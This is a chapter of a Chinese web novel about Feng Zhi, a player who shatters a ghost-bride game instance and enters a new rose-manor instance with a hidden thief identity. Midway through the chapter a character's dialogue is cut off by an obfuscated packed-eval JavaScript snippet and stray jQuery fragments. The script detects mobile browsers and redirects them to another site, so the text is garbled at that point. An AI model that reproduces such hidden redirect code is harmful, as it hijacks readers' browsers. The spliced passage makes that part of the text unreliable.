8. 新副本:蔷薇花庄园

作品:《我进副本打诡抓男人

    秦义绝化神,逃出黄泉村之后,不知为何,像是一层屏障罩着她,让她无法离开这个副本,她可以用神力为所欲为,偏偏不能走到更远的地方。


    秦义绝经过无数次的副本重置后,终于探索了当初的真相。原来,她在黄泉村里已经轮回了九世,可是每一世,村民都不能找到她,甚至将传言造成了谣言,在老神的衰弱之下,眼见着阴差阳错越来越离谱,这就到了最后的第十世。


    第十世,她巧合地诞生成双胞胎,在元婴之际,与同胞妹妹在腹中斗争,在轮回中越发衰弱的她不敌姐妹之争,竟让那妹妹抢夺了她的容貌和力量,因此那妹妹身上有新神的气息,却终究不是神体,冒充她的圣女之名,下场只能是爆体而亡。


    所幸,老婆子最终还是完成了过渡仪式,逸散的力量找到了山脚下的新神,只可惜没有传承记忆,让秦义绝只能抱着本世的记忆,在时间长河中努力探索前面几世的经历。


    秦义绝以为这就是自己的终点,她已经得知了所有历史,期待着能打破屏障离开副本,可是不知为何,那股神秘的力量还是约束着她。


    秦义绝悟了,她转变了思考方向,她认为天道应该不是让她知晓过去,而是让她改变未来。于是在无数次的副本重启之中,秦义绝试图改变剧情走向。


    秦义绝注意到了每一次副本重启之中,都会有一股无法反抗的规则力量,吐出一群来自外界的人类,这群人类自称是玩家,带他们进来的是一只又一只打不死的怪物。


    秦义绝将这群玩家抓起来,命令他们做出各种行动试图改变剧情,可是无论她做出多少次努力,她都不能动摇任何一个角色的命运,老婆子最终还是会认错人,秦桑花只会自讨苦吃,黄泉村仍然在反复屠杀中灭绝,就连玩家们也是所剩无几,有几个幸存下来的玩家,一眨眼中就从副本里消失了,只剩下一脸愕然的秦义绝,搞不明白人类为什么能逃离副本,她是远比人类强大的神明却逃脱不了。


    慢慢地,秦义绝放弃挣扎,她觉得这个世界就是这样,她只能做一只井底之蛙,仰望着每天都一样的天空。


    直到风止的到来,秦义绝惊讶地发现,就算她没有插手走向,剧情也朝着越来越新颖的方向发展,最终,出现了一个完全不同于以往的故事。


    老婆子竟然找到了真正的圣女,秦桑花暴露了恋爱脑的愚蠢性格,黄泉村毫发无损,玩家团也全员通关。但也有一些关键的命运节点,是她无论如何也无法逃避的,老婆子还是没能当一个称职的引路人,换了一种死法仍然牺牲了,她还是会孤身只影地上路,孤独地探索属于她的新神之路。


    但不知道为什么,随着她紧锁的眉头渐渐绽开,心中好像有一道锁链咔嚓一声就断了,她慢慢领悟了过来,她好像清楚这是什么关卡了,这是由她的心魔酿成的情关,情关一破,天地自由。


    尽管已经清楚了前面九世的经历,但那就像是隔着雾气,她仍然困守于第十世中的求之不得。她不理解为什么老婆子找了她上千年还不能找到她,她憎恨老婆子不够爱她;她不理解为什么村民会听信秦桑花的媚惑之言,让她活成小丑受尽世人的唾弃;她不理解如此荒唐怪诞的世道,有什么资格叫她履行神明的责任。


    但是慢慢地,她好像懂了,原来在某一个平行时空里,老婆子真的尽心尽力地爱过她,只是无法抵御命运的抉择。或许在某一个时刻里,她找到了她,让她成了真正的万民敬仰的圣女,她会像一个真正慈悲的神明,让所有人都膜拜她信仰她,她具备统御万灵的资格。


    秦义绝的心中充满了复杂的思绪,她能感受到副本对她的束缚越来越弱,她的神体已经可以离开这里了,这个副本建立在她的心魔之上,当她突破瓶颈时,副本也会随之破碎,一个名为《鬼新娘》的副本将不再存在于世上。


    秦义绝眼神复杂地看向风止,轻声说:“我记住你了,凡人,你解锁了我的执念……这个副本快消失了。我希望,后会有期。”


    随后,秦义绝手一挥,就将风止扔向了副本出口,贴心地送了她一程。


    《鬼新娘》的副本逐渐化成碎片,只剩下鸦头人尖叫着四处逃窜,他作为新手副本的引导者,不能让玩家出事,他正在手忙脚乱地瞬移到各个玩家身边,抓起人来扔进副本出口。


    在忙碌中,只剩下鸦头人气急败坏的声音大喊道:“我恨你!!你这个叫风止的新人!你毁了我的副本,你比捣蛋鬼还要叫人讨厌!!”


    在飞向副本出口的半空中,风止只来得及大喊:“雾草!!长了雾草!!”就赶紧抓住身边的暴流,暴流离她最近,一下子就被她抓住。


    风止赶紧从怀里掏食物塞进暴流的胸口里,一边掏一边喊:“我快坚持不住了!下一个副本不知道能不能组队,你要努力幸存下去啊!拿好这些道具!”


    暴流感动得眼泪鼻涕横流:“小疯子!!!”


    一片黑暗……


    当风止睁开眼时,看到的是一个古朴典雅的欧式卧室,风止叹了口气,心想果然时空引力把她和暴流拆开了,俩人不知道分散去哪里,她被秦义绝扔去一个新的未知副本。风止摸了摸兜,她太害怕暴流那蠢萌蠢萌的蠢东西死在这场奇怪游戏里,将大部分道具都扔给了暴流,至少饿不死暴流,现在她的兜里只剩下了一个绑定的生命之果,以及三个顶级菜肴,分别是佛跳墙、锅包肉、潮汕生腌。


    风止逆来顺受,心安理得地接受了处境,抬头就展望四周,只见凭空出现的玩家越来越多,一进入房间就警惕地互相打量,最终目光都聚集在风止身上,准确来说是风止头上显示的等级,一般来说,玩家都会选择隐藏等级,除非是特别牛逼的大佬选择炫耀,以及那些萌新玩家通关副本之后不知道隐藏新获得的等级。


    此时,大家就在围观风止头上的等级,一时间,人群炸锅:“卧槽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064905|195129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,A级副本怎么会有F级的新手玩家?!”


    风止挖鼻,不以为然又故带恶劣语气地向人群解释道:“因为我弄炸了一个副本,说明这群鬼认为我有A级实力。”


    人群都眼带十分迟疑地审视风止,大家都是经历众多副本的老油条,深知人不可貌相的道理,倒也没有蠢东西敢开口讽刺一个初次见面的陌生人。


    但大家显然也不太敢相信风止会是多么高深的高手,毕竟新手等级就在头顶上挂着,犹豫几番后,众人默契地选择无视风止,聚集在一起切切细语,显得好像集体孤立了风止。


    “既然这个副本没有指引导师出现,说明剧情线索就在房间里,我们分开寻找怎么样?”


    “赞同,得到线索后一起分享。”


    说完,人群就各自散开了。风止倒也不介意落单,她在脑海里掐住小白菜叭叭叭的嘴巴,她不想听它讲废话,当不了副本指引系统的小白菜十分委屈地闭麦了。


    风止觉得这个房间不错,她喜欢,这里看起来足够安静优雅,要是没有那群聒噪的玩家就好了,她选择慢慢地散步,慢慢欣赏这个房间的装饰。


    从其它玩家那里陆续传来惊呼声,他们找到越来越多的邀请函,聚集到一起之后,一看,邀请函都写着一样的内容:“亲爱的宾客,欢迎来到盛大的蔷薇花庄园,这里有着世界上品种最多的玫瑰花和蔷薇花,你慕名而来,现在,你要寻找出最漂亮的花朵。”


    所有人都找到了邀请函,剩下的一张邀请函无论如何也找不到了,看来这是有数量限制的,而失去邀请函的风止,成了唯一一个开头就被淘汰的玩家,玩家们见惯生死,没有幸灾乐祸,只是觉得有些讽刺,刚刚放声说大话的玩家,竟然是第一个就被淘汰的倒霉蛋。


    风止十分淡定,她走到窗边,从窗户的玻璃轨道里找到暗格,她缓缓抽出那张印着繁复花纹的邀请函,让那群冷眼旁观她作死的玩家们惊讶了一下,人群便也就散去了,没有人再关注风止。


    然而,在人群转身之后,风止撕开那张看似外表一样的邀请函,惊讶地发现邀请函的内容完全不同,上面写着:“倒霉的小偷,你从窗边半夜潜入庄园,想偷走蔷薇花伯爵大人的珠宝,那是世界上最美丽的黄金花项链。但是你差点被发现了,躲进衣柜里等到白天,你不得不出来应聘庄园里的工作,现在你是最低级的清洁工了,你手边只有最低级的玫瑰花瓣,加油吧,去扫清世界上肮脏的花瓣们!”


    是一张隐藏的身份卡片。


    “我靠,我就知道藏得这么隐秘没好事发生,夹在窗边就成小偷了是吧!别人都是贵客,就我是清洁工?”风止小小声地骂道。


    因为和别人身份不同,风止没有选择跟随人群,正好那群玩家也不在意一个慢吞吞的新人,几乎是在心里把这个作死的新人打上了死亡标记,人群都从正门走下楼梯,风止悄悄地穿过衣帽间打开偏门离开。